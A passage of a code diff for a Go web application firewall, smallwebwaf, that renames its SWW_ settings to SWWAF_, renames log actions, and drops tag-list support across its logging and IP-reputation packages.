h.Offences.BlockedByBlockRule++
|
||||
if r.RuleBlocked {
|
||||
h.Offences.RuleBlocked++
|
||||
}
|
||||
|
||||
if r.BlockedByCoreRuleSet {
|
||||
h.Offences.BlockedByCoreRuleSet++
|
||||
if r.WAFBlocked {
|
||||
h.Offences.WAFBlocked++
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
const limit = 3
|
||||
|
||||
// tableSize is the most clients the tests' tables hold, the default of
|
||||
// SWW_MAX_TRACKED_CLIENTS.
|
||||
// SWWAF_MAX_TRACKED_CLIENTS.
|
||||
const tableSize = 20000
|
||||
|
||||
// whole is the percentage of each limit a client gets when nothing lowers
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package remotelog sends the lines sww writes on stdout to the
|
||||
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
|
||||
// Package remotelog sends the lines smallwebwaf writes on stdout to the
|
||||
// remote log endpoint, SWWAF_LOG_REMOTE_URL, as the "Request log" section
|
||||
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
||||
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
||||
// or unreachable endpoint never holds up a request or stdout.
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
|
||||
// The forms of SWWAF_LOG_REMOTE_URL, by its scheme.
|
||||
const (
|
||||
SchemeUDP = "syslog+udp"
|
||||
SchemeTCP = "syslog+tcp"
|
||||
@@ -56,18 +56,18 @@ const (
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||
// URL is the endpoint (SWWAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||
// SchemeTLS, a host and a port.
|
||||
URL *url.URL
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
// must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// (SWW_LOG_REMOTE_BUFFER).
|
||||
// (SWWAF_LOG_REMOTE_BUFFER).
|
||||
Buffer int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_LOG_REMOTE_APP_NAME).
|
||||
// (SWWAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWWAF_LOG_REMOTE_APP_NAME).
|
||||
Facility int
|
||||
AppName string
|
||||
}
|
||||
@@ -243,7 +243,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
||||
}
|
||||
}
|
||||
|
||||
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
|
||||
processLog.Warn("sending to SWWAF_LOG_REMOTE_URL failed",
|
||||
"error", err.Error(), "connecting_again_in", delay.String())
|
||||
|
||||
select {
|
||||
|
||||
@@ -44,7 +44,7 @@ import (
|
||||
const (
|
||||
// started is the time a record made as a test starts gives.
|
||||
started = "2000-01-01T00:00:00.000Z"
|
||||
appName = "fsn1app1/blog"
|
||||
appName = "fsn1app1/gitea"
|
||||
// local0 is the number of the default facility, and local0Info the
|
||||
// priority of its records.
|
||||
local0 = 16
|
||||
@@ -94,7 +94,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
|
||||
endpoint := listen(t)
|
||||
endpointParams := params(remotelog.SchemeTCP, endpoint.Addr())
|
||||
endpointParams.Facility = 19 // local3
|
||||
endpointParams.AppName = "blog"
|
||||
endpointParams.AppName = "gitea"
|
||||
sender, _, _ := run(t, endpointParams)
|
||||
|
||||
_, _ = sender.Write([]byte("first\nsecond\n"))
|
||||
@@ -103,8 +103,8 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
|
||||
wantCounts(t, sender, 2, 0, 0)
|
||||
|
||||
frames := bufio.NewReader(accept(t, endpoint))
|
||||
wantFrame(t, frames, record(t, "<158>", "blog", "first"))
|
||||
wantFrame(t, frames, record(t, "<158>", "blog", "second"))
|
||||
wantFrame(t, frames, record(t, "<158>", "gitea", "first"))
|
||||
wantFrame(t, frames, record(t, "<158>", "gitea", "second"))
|
||||
})
|
||||
}
|
||||
|
||||
@@ -586,7 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
||||
var fields map[string]any
|
||||
|
||||
err := json.Unmarshal([]byte(line), &fields)
|
||||
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||
if err != nil || fields["msg"] != "sending to SWWAF_LOG_REMOTE_URL failed" {
|
||||
t.Fatalf("logged %q", line)
|
||||
}
|
||||
|
||||
@@ -612,7 +612,7 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1),
|
||||
Subject: pkix.Name{CommonName: "sww test CA"},
|
||||
Subject: pkix.Name{CommonName: "smallwebwaf test CA"},
|
||||
NotBefore: time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC),
|
||||
NotAfter: time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC),
|
||||
IsCA: true,
|
||||
|
||||
@@ -58,17 +58,17 @@ type Checks struct {
|
||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||
type AbuseIPDBParams struct {
|
||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||
// the account's key (SWW_ABUSEIPDB_KEY).
|
||||
// the account's key (SWWAF_ABUSEIPDB_KEY).
|
||||
URL string
|
||||
Key string
|
||||
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
|
||||
// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE),
|
||||
// and DailyBudget the most checks made in a day, in UTC
|
||||
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
||||
// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
|
||||
MinScore int64
|
||||
DailyBudget int
|
||||
// CacheTTL is how long a score is used after it was fetched
|
||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||
// (SWW_REPUTATION_TIMEOUT).
|
||||
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||
// (SWWAF_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
|
||||
@@ -397,7 +397,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
|
||||
"failures_total": "1",
|
||||
"daily_budget_remaining": "3",
|
||||
} {
|
||||
line := "\nsww_reputation_" + series +
|
||||
line := "\nsmallwebwaf_reputation_" + series +
|
||||
`{instance="app",source="abuseipdb"} ` + want + "\n"
|
||||
if !strings.Contains(scraped, line) {
|
||||
t.Errorf("metrics\n%s\nwant%s", scraped, line)
|
||||
@@ -581,7 +581,7 @@ func wantScore(
|
||||
|
||||
// hitFrom is checker's Hit for a request from address, offender or not.
|
||||
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
||||
// as sww counts clients.
|
||||
// as smallwebwaf counts clients.
|
||||
func hitFrom(
|
||||
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
|
||||
) (int64, bool) {
|
||||
|
||||
@@ -53,15 +53,15 @@ type Verdict struct {
|
||||
// DNSBLParams are what NewDNSBL needs.
|
||||
type DNSBLParams struct {
|
||||
// Zones are the DNSBL zones clients are asked about in
|
||||
// (SWW_DNSBL_ZONES).
|
||||
// (SWWAF_DNSBL_ZONES).
|
||||
Zones []string
|
||||
// Resolver is the resolver they are asked through
|
||||
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||
// (SWWAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||
// host's, as /etc/resolv.conf names it.
|
||||
Resolver netip.AddrPort
|
||||
// CacheTTL is how long a verdict is used after it was fetched
|
||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||
// (SWW_REPUTATION_TIMEOUT).
|
||||
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||
// (SWWAF_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
||||
}
|
||||
}
|
||||
|
||||
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
|
||||
// Zones returns the zones, in the order SWWAF_DNSBL_ZONES names them.
|
||||
func (d *DNSBL) Zones() []string {
|
||||
return slices.Clone(d.params.Zones)
|
||||
}
|
||||
|
||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
|
||||
// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key
|
||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||
// passed since it was fetched. Each zone without one is asked about addr
|
||||
@@ -210,7 +210,7 @@ func (d *DNSBL) Snapshot() []Verdict {
|
||||
}
|
||||
|
||||
// Load keeps verdicts, read from reputation.json, in place of those it
|
||||
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||
// keeps, but for those of a zone SWWAF_DNSBL_ZONES does not name, and,
|
||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||
// more is neither used nor written, as for any verdict.
|
||||
func (d *DNSBL) Load(verdicts []Verdict) {
|
||||
|
||||
@@ -40,8 +40,8 @@ const (
|
||||
// zone and otherZone are the DNSBL zones the tests name.
|
||||
zone = "dnsbl.example"
|
||||
otherZone = "other.example"
|
||||
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
|
||||
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||
// cacheTTL is the tests' SWWAF_REPUTATION_CACHE_TTL, and timeout their
|
||||
// SWWAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||
// can have Go's resolver wait for one server, so that it is the
|
||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||
cacheTTL = 24 * time.Hour
|
||||
@@ -311,7 +311,7 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
|
||||
"queries_total" + `{instance="app",source="` + otherZone + `"}`: "1",
|
||||
"failures_total" + `{instance="app",source="` + otherZone + `"}`: "1",
|
||||
} {
|
||||
line := "\nsww_reputation_" + series + " " + want + "\n"
|
||||
line := "\nsmallwebwaf_reputation_" + series + " " + want + "\n"
|
||||
if !strings.Contains(scraped.Body.String(), line) {
|
||||
t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line)
|
||||
}
|
||||
@@ -419,7 +419,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
||||
dnsbl := reputation.NewDNSBL(p)
|
||||
|
||||
// The last verdict still in use, one fetched a TTL ago, and one of a
|
||||
// zone SWW_DNSBL_ZONES does not name.
|
||||
// zone SWWAF_DNSBL_ZONES does not name.
|
||||
inUse := reputation.Verdict{
|
||||
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
||||
@@ -471,7 +471,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
|
||||
}
|
||||
|
||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||
func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
||||
func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) {
|
||||
resolver := &resolverStandIn{answers: map[string]answer{
|
||||
listedName: {addrs: []string{listing}},
|
||||
}}
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
// Package reputation fetches the lists the settings name by URL: the
|
||||
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
|
||||
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
|
||||
// keeps the last good copy of
|
||||
// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
|
||||
// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
|
||||
// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
|
||||
// each, whole, comment lines included, which is used while a fetch fails,
|
||||
// and when each was last tried. It also asks the DNSBL zones of
|
||||
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||
// today. The state package writes all of these to reputation.json and
|
||||
// reads them from it, so that a restart keeps them too.
|
||||
@@ -67,20 +66,18 @@ type List struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
|
||||
// BlocklistURLs are the blocklists (SWWAF_BLOCKLIST_URLS), and
|
||||
// ASNLimitPercentURL the file of AS:percent lines
|
||||
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||
BlocklistURLs []string
|
||||
ASNLimitPercentURL string
|
||||
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
|
||||
TagLists []config.TagList
|
||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||
// (SWW_CROWDSEC_LAPI_KEY).
|
||||
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||
// (SWWAF_CROWDSEC_LAPI_KEY).
|
||||
CrowdSecDecisionsURL string
|
||||
CrowdSecKey string
|
||||
// Refresh is how long after a list was last fetched or tried it is
|
||||
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||
// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||
// list, which is fetched again crowdSecRefresh after.
|
||||
Refresh time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
@@ -115,11 +112,11 @@ type list struct {
|
||||
failures int
|
||||
}
|
||||
|
||||
// entries are what the lines of a copy say: for a blocklist or a tag list, the
|
||||
// netblocks it names, with the lengths among them, for the file of AS:percent
|
||||
// lines, the percentage it gives each AS number, and for the CrowdSec decision
|
||||
// list, the decision on each netblock that ends last, with the lengths among
|
||||
// them.
|
||||
// entries are what the lines of a copy say: for a blocklist, the netblocks
|
||||
// it names, with the lengths among them, for the file of AS:percent lines,
|
||||
// the percentage it gives each AS number, and for the CrowdSec decision
|
||||
// list, the decision on each netblock that ends last, with the lengths
|
||||
// among them.
|
||||
type entries struct {
|
||||
netblocks map[netip.Prefix]bool
|
||||
lengths []int
|
||||
@@ -155,18 +152,14 @@ func New(params Params) *Lists {
|
||||
}
|
||||
|
||||
// URLs returns the URL of every list: the blocklists' in the order
|
||||
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
|
||||
// tag lists', then the CrowdSec decision list's.
|
||||
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
|
||||
// the CrowdSec decision list's.
|
||||
func (l *Lists) URLs() []string {
|
||||
urls := slices.Clone(l.params.BlocklistURLs)
|
||||
if l.params.ASNLimitPercentURL != "" {
|
||||
urls = append(urls, l.params.ASNLimitPercentURL)
|
||||
}
|
||||
|
||||
for _, list := range l.params.TagLists {
|
||||
urls = append(urls, list.URL)
|
||||
}
|
||||
|
||||
if l.params.CrowdSecDecisionsURL != "" {
|
||||
urls = append(urls, l.params.CrowdSecDecisionsURL)
|
||||
}
|
||||
@@ -175,7 +168,7 @@ func (l *Lists) URLs() []string {
|
||||
}
|
||||
|
||||
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
||||
// the order SWW_BLOCKLIST_URLS names them.
|
||||
// the order SWWAF_BLOCKLIST_URLS names them.
|
||||
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
@@ -191,22 +184,6 @@ func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||
return listedBy
|
||||
}
|
||||
|
||||
// TagsOf returns the names of the tag lists whose copy holds addr.
|
||||
func (l *Lists) TagsOf(addr netip.Addr) []string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
var names []string
|
||||
|
||||
for _, list := range l.params.TagLists {
|
||||
if l.lists[list.URL].entries.contain(addr) {
|
||||
names = append(names, list.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return names
|
||||
}
|
||||
|
||||
// ASNLimitPercent returns the percentage the copy of the file of
|
||||
// AS:percent lines gives asn, and whether it lists asn.
|
||||
func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
|
||||
@@ -394,7 +371,7 @@ func (l *Lists) due(listURL string) time.Time {
|
||||
// fetch fetches the list at listURL, and notes the try. A good copy takes
|
||||
// the place of the one held. A failure leaves that in use, and is counted,
|
||||
// logged and raised as a source_failure alert. A fetch cut off as ctx
|
||||
// ends, as sww stops, is no failure, but is still noted as a try,
|
||||
// ends, as smallwebwaf stops, is no failure, but is still noted as a try,
|
||||
// so that a restart waits for it: the server may have had its request.
|
||||
func (l *Lists) fetch(ctx context.Context, listURL string) {
|
||||
lines, err := l.get(ctx, listURL)
|
||||
@@ -504,10 +481,10 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
||||
}
|
||||
|
||||
// parse reads the lines of the list at listURL, fetched at fetched: those
|
||||
// of a blocklist or a tag list, of the file of AS:percent lines, or of the
|
||||
// CrowdSec decision list. In all but the decision list, anything after a ; or
|
||||
// a # on a line is left out, and so is a line left blank. Any other line that
|
||||
// does not read is an error naming it by its number.
|
||||
// of a blocklist, of the file of AS:percent lines, or of the CrowdSec
|
||||
// decision list. In the first two, anything after a ; or a # on a line is
|
||||
// left out, and so is a line left blank. Any other line that does not read
|
||||
// is an error naming it by its number.
|
||||
func (l *Lists) parse(
|
||||
listURL string, lines []string, fetched time.Time,
|
||||
) (entries, error) {
|
||||
@@ -521,8 +498,8 @@ func (l *Lists) parse(
|
||||
}
|
||||
}
|
||||
|
||||
// parseNetblocks reads the lines of a blocklist or a tag list, each an address
|
||||
// or a netblock as the settings take them.
|
||||
// parseNetblocks reads a blocklist's lines, each an address or a netblock
|
||||
// as the settings take them.
|
||||
func parseNetblocks(lines []string) (entries, error) {
|
||||
found := entries{netblocks: map[netip.Prefix]bool{}}
|
||||
|
||||
@@ -574,7 +551,7 @@ func parseNetblock(text string) (netip.Prefix, bool) {
|
||||
}
|
||||
|
||||
// parsePercents reads the lines of the file of AS:percent lines, each an
|
||||
// AS number, : and a percentage, such as AS64496:50. An
|
||||
// AS number, : and a percentage, as SWWAF_ASN_LIMIT_PERCENT takes them. An
|
||||
// AS number listed more than once gets the lowest of its percentages.
|
||||
func parsePercents(lines []string) (entries, error) {
|
||||
found := entries{percents: map[string]int64{}}
|
||||
|
||||
@@ -34,8 +34,8 @@ const (
|
||||
dropURL = "https://lists.example/drop.txt"
|
||||
torURL = "https://lists.example/tor.txt"
|
||||
asnURL = "https://lists.example/asn.txt"
|
||||
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
|
||||
// SWW_ALERT_COOLDOWN, longer than it.
|
||||
// refresh is the tests' SWWAF_BLOCKLIST_REFRESH, and cooldown their
|
||||
// SWWAF_ALERT_COOLDOWN, longer than it.
|
||||
refresh = 24 * time.Hour
|
||||
cooldown = 48 * time.Hour
|
||||
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
||||
@@ -116,7 +116,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
|
||||
}}
|
||||
lists := start(t, servers, params(torURL, dropURL))
|
||||
|
||||
// In the order SWW_BLOCKLIST_URLS names them.
|
||||
// In the order SWWAF_BLOCKLIST_URLS names them.
|
||||
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
||||
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
||||
})
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package requestlog writes the lines sww prints on stdout: one
|
||||
// JSON object per request, two from discriminator and a short one from rproxy,
|
||||
// marked "type":"request", and the process's own messages as JSON lines marked
|
||||
// Package requestlog writes the lines smallwebwaf prints on stdout: one
|
||||
// JSON object per request, two from servewaf and a short one from rproxy, marked
|
||||
// "type":"request", and the process's own messages as JSON lines marked
|
||||
// "type":"process".
|
||||
package requestlog
|
||||
|
||||
@@ -14,50 +14,37 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
)
|
||||
|
||||
// The action a request line names: what discriminator did with the request.
|
||||
// The action a request line names: what servewaf did with the request.
|
||||
const (
|
||||
// ActionForward is a request discriminator allowed, which rproxy passes to
|
||||
// the app.
|
||||
// ActionForward is a request servewaf allowed, which rproxy passes to the
|
||||
// app.
|
||||
ActionForward = "forward"
|
||||
|
||||
// ActionRequestHeaderTooLarge is a request over the header limits.
|
||||
ActionRequestHeaderTooLarge = "request_header_too_large"
|
||||
|
||||
// ActionClientIsRateLimited is a request refused because it took its
|
||||
// client over a rate limit, which bans the client.
|
||||
ActionClientIsRateLimited = "client_is_rate_limited"
|
||||
|
||||
// ActionTemporarilyBanned is a request refused because a ban that runs
|
||||
// out covers its client, or because it matched a ban rule, asked for a
|
||||
// trap path or the CrowdSec decision list lists its client, and so made
|
||||
// such a ban.
|
||||
ActionTemporarilyBanned = "temporarily_banned"
|
||||
|
||||
// ActionPermanentlyBanned is a request refused because a ban that never
|
||||
// runs out covers its client, or because the request made such a ban or
|
||||
// made its client's ban permanent.
|
||||
ActionPermanentlyBanned = "permanently_banned"
|
||||
|
||||
// ActionBlockedByBlockRule is a request refused because it matched a
|
||||
// block rule.
|
||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||
|
||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
|
||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||
|
||||
// ActionClientDenied is a request refused because its client is in
|
||||
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
|
||||
// ActionTooLarge is a request over the header limits.
|
||||
ActionTooLarge = "too_large"
|
||||
// ActionRateLimited is a request refused because it took its client
|
||||
// over a rate limit, which bans the client.
|
||||
ActionRateLimited = "rate_limited"
|
||||
// ActionBanned is a request refused because a ban covers its client,
|
||||
// or because it matched a ban rule, asked for a trap path or the
|
||||
// CrowdSec decision list lists its client, each of which bans the
|
||||
// client.
|
||||
ActionBanned = "banned"
|
||||
// ActionRuleBlocked is a request refused because it matched a block
|
||||
// rule.
|
||||
ActionRuleBlocked = "rule_blocked"
|
||||
// ActionWAFBlocked is a request refused because the Core Rule Set
|
||||
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
|
||||
ActionWAFBlocked = "waf_blocked"
|
||||
// ActionDenied is a request refused because its client is in
|
||||
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
|
||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
|
||||
ActionClientDenied = "client_denied"
|
||||
|
||||
// ActionCountryDenied is a request refused because its client's country
|
||||
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
// SWWAF_REPUTATION_ACTION is deny.
|
||||
ActionDenied = "denied"
|
||||
// ActionCountryDenied is a request refused for its client's country.
|
||||
ActionCountryDenied = "country_denied"
|
||||
// ActionOwnEndpoint is a request discriminator answered at one of its own
|
||||
// endpoints, or a question about a path under /_sww/.
|
||||
ActionOwnEndpoint = "own_endpoint"
|
||||
// ActionAdmin is a request servewaf answered at one of its own endpoints,
|
||||
// or a question about a path under /_smallwebwaf/.
|
||||
ActionAdmin = "admin"
|
||||
)
|
||||
|
||||
// OffenceLimit is the offence a request line names for a request that
|
||||
@@ -65,18 +52,18 @@ const (
|
||||
// limit.
|
||||
const OffenceLimit = "limit"
|
||||
|
||||
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
||||
// LimitHitErrorBurst is the limit_hit a request line names for a request
|
||||
// that broke the error burst.
|
||||
const LimitHitMinuteRefusals = "minute_refusals"
|
||||
const LimitHitErrorBurst = "error_burst"
|
||||
|
||||
// The discriminator_line a request line names, which says which of
|
||||
// discriminator's two lines about a question it is.
|
||||
// The servewaf_line a request line names, which says which of servewaf's two
|
||||
// lines about a question it is.
|
||||
const (
|
||||
// DiscriminatorLineDecision is discriminator's line at its decision.
|
||||
DiscriminatorLineDecision = "decision"
|
||||
// DiscriminatorLineReport is discriminator's line when rproxy's report
|
||||
// comes, with the decision's fields and the report's together.
|
||||
DiscriminatorLineReport = "report"
|
||||
// ServeWAFLineDecision is servewaf's line at its decision.
|
||||
ServeWAFLineDecision = "decision"
|
||||
// ServeWAFLineReport is servewaf's line when rproxy's report comes, with
|
||||
// the decision's fields and the report's together.
|
||||
ServeWAFLineReport = "report"
|
||||
)
|
||||
|
||||
// timeLayout is RFC 3339 with milliseconds.
|
||||
@@ -89,9 +76,9 @@ const timeLayout = "2006-01-02T15:04:05.000Z07:00"
|
||||
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
|
||||
type Line struct {
|
||||
Type string `json:"type"`
|
||||
// DiscriminatorLine is DiscriminatorLineDecision or DiscriminatorLineReport
|
||||
// on discriminator's two lines about a question.
|
||||
DiscriminatorLine string `json:"discriminator_line,omitempty"`
|
||||
// ServeWAFLine is ServeWAFLineDecision or ServeWAFLineReport on servewaf's
|
||||
// two lines about a question.
|
||||
ServeWAFLine string `json:"servewaf_line,omitempty"`
|
||||
|
||||
// The standard web log fields. Scheme is how the client reached rproxy, or
|
||||
// the trusted proxy in front of it.
|
||||
@@ -111,7 +98,7 @@ type Line struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
|
||||
// Request detail. RequestID is the id rproxy made for the request, or for a
|
||||
// request to discriminator's own endpoints a new one. ForwardedFor is the
|
||||
// request to servewaf's own endpoints a new one. ForwardedFor is the
|
||||
// X-Forwarded-For header as received. ClientGroup is the netblock the
|
||||
// client is counted as. ASN, ASName and Country are the client's AS
|
||||
// number, AS name and country, as looked up.
|
||||
@@ -125,45 +112,34 @@ type Line struct {
|
||||
ContentType string `json:"content_type,omitempty"`
|
||||
// ContentLength is the length of its body the request announced.
|
||||
ContentLength int64 `json:"content_length,omitempty"`
|
||||
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
|
||||
// RequestHeaders are the headers SWWAF_LOG_REQUEST_HEADERS names that
|
||||
// the request carried, by name in lower case.
|
||||
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||
HasCookie bool `json:"has_cookie,omitempty"`
|
||||
|
||||
// Response detail, of discriminator's own answer. Aborted is true when
|
||||
// rproxy, or the admin's tool, went away before the answer.
|
||||
// Response detail, of servewaf's own answer. Aborted is true when rproxy, or
|
||||
// the admin's tool, went away before the answer.
|
||||
ResponseContentType string `json:"response_content_type,omitempty"`
|
||||
Aborted bool `json:"aborted,omitempty"`
|
||||
|
||||
// The decision.
|
||||
Action string `json:"action"`
|
||||
// WouldAction is, in observe mode, the action enforce mode would have
|
||||
// taken with a request it would have refused: ActionClientDenied,
|
||||
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
|
||||
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
|
||||
// ActionBlockedByCoreRuleSet, or, in discriminator,
|
||||
// ActionRequestHeaderTooLarge for the header limits.
|
||||
// taken with a request it would have refused: ActionDenied,
|
||||
// ActionBanned, ActionCountryDenied, ActionRateLimited,
|
||||
// ActionRuleBlocked, ActionWAFBlocked, or, in servewaf, ActionTooLarge
|
||||
// for the header limits.
|
||||
WouldAction string `json:"would_action,omitempty"`
|
||||
// Heuristic is the name of the heuristic that refused the request, in
|
||||
// observe mode too, and HeuristicFigures are the figures it acted on, by
|
||||
// name.
|
||||
Heuristic string `json:"heuristic,omitempty"`
|
||||
HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
|
||||
// AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
|
||||
// the heuristic that banned the client after discriminator answered the
|
||||
// request.
|
||||
AfterAnswerHeuristic string `json:"after_answer_heuristic,omitempty"`
|
||||
AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
|
||||
// RateLimitPercent and RateLimitPercentSetting are, for a request the
|
||||
// rate limits counted whose client a biased threshold gives a percentage
|
||||
// of the rate limits below 100, that percentage and the setting that gave
|
||||
